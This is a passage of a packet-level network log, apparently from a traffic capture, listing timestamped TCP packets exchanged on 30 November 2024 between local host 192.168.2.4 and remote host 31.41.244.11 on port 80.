Nov 30, 2024 18:08:29.927268028 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.927979946 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.928025961 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.928157091 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.928204060 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.928977013 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.929019928 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.929183006 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.929225922 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.930003881 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.930059910 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.930316925 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.930361032 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.931063890 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.931107998 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.931231976 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.931293964 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.932066917 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.932288885 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.932331085 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.933034897 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.933089972 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.933239937 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.933283091 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.934041023 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.934086084 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.934315920 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.934365988 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.935072899 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.935240984 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.935267925 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.935282946 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.935786963 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.935977936 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.936026096 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.936758041 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.936804056 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.936974049 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.937020063 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.937815905 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.937860966 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.938018084 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.938062906 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.938776970 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.938817978 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.087244034 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.087320089 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.087420940 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.087467909 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.087820053 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.087867975 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.088166952 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.088217020 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.088726997 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.088773012 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.088922977 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.088973999 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.089745045 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.089792967 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.089941978 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.089988947 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.090750933 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.090800047 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.090939045 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.090982914 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.091761112 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.091804981 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.091957092 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.092004061 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.092784882 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.092829943 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.092974901 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.093019962 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.093775034 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.093820095 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.093983889 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.094033957 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.094796896 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.094842911 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.094990015 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.095036030 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.095812082 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.095858097 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.096009970 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.096062899 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.096807957 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.096857071 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.097009897 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.097058058 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.097814083 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.097860098 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.098016977 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.098072052 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.098829031 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.098875999 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.098999023 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.099044085 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.099860907 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.099903107 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.100043058 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.100086927 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.100976944 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.101021051 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.101197004 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.101242065 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.101866007 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.101991892 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.102075100 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.102118969 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.102873087 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.102916002 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.103075027 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.103121996 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.103871107 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.103914976 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.104212999 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.104257107 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.104929924 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.104976892 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.105076075 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.105119944 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.106033087 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.106077909 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.106172085 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.106224060 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.106900930 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.106945038 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.107103109 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.107150078 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.107909918 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.107959032 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.108107090 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.108150005 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.108954906 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.109004974 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.109123945 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.109168053 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.110099077 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.110143900 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.110240936 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.110282898 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.110944033 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.110991001 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.111157894 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.111202955 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.111974001 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.112021923 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.112160921 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.112205982 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.112978935 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.113029957 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.113167048 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.113212109 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.113977909 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.114022017 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.114200115 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.114249945 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.115034103 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.115081072 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.115185022 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.115227938 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.116005898 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.116050959 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.116193056 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.116235018 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.117005110 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.117053032 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.117192984 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.117238045 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.118026972 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.118073940 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.118237972 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.118283033 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.119043112 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.119091988 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.119215012 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.119261026 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.120096922 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.120143890 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.120244026 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.120290995 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.121088028 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.121134043 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.121243954 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.121289015 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.122077942 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.122123003 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.122248888 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.122298002 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.123056889 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.123105049 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.123248100 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.123294115 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.124326944 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.124376059 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.124577999 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.124619007 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.125385046 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.125422955 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.125534058 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.125580072 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.126121998 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.126162052 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.126315117 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.126358986 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.127110004 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.127156019 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.127330065 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.127374887 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.128123999 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.128170013 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.128324986 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.128369093 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.129136086 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.129194975 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.129343033 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.129385948 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.130211115 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.130255938 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.130389929 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.130436897 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.131150007 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.131191969 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.131437063 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.131484985 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.132149935 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.132369041 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.132420063 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.133157015 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.133223057 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.133419037 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.133457899 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.134202957 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.134249926 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.134386063 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.134429932 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.135199070 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.135246038 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.135416031 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.135462046 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.136236906 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.136281967 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.136425018 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.136475086 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.136923075 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.136967897 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.137101889 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.137149096 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.137916088 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.137960911 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.138122082 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.138168097 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.138952017 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.138998985 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.139172077 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.139220953 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.139930964 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.139977932 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.288697004 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.288894892 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.288965940 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.289324999 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.289371967 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.289714098 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.289758921 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.290175915 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.290218115 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.290605068 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.291224003 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.291282892 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.291424990 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.291475058 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.292243958 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.292310953 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.292481899 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.292651892 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.293169022 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.293216944 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.293241978 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.293593884 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.294054985 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.294258118 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.294303894 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.295073986 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.295116901 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.295275927 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.295372963 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.296120882 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.296274900 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.296334028 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.297086000 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.297135115 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.297305107 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.297343969 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.298111916 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.298152924 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.298309088 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.298348904 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.299101114 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.299321890 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.299370050 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.300136089 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.300185919 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.300334930 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.300431013 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.301143885 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.301198959 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.301328897 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.301516056 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.302145958 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.302196026 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.302344084 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.302599907 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.303276062 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.303405046 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.303466082 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.304208040 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.304279089 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.304395914 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.304539919 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.305285931 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.305341959 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.305511951 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.305665016 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.306212902 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.306269884 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.306421995 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.306655884 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.307199955 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.307245970 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.307408094 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.307445049 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.308213949 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.308433056 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.308485031 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.309235096 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.309278011 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.309406042 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:30.309448957 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:30.310262918 CET	80	49805	31.41.244.11	192.168.2.4
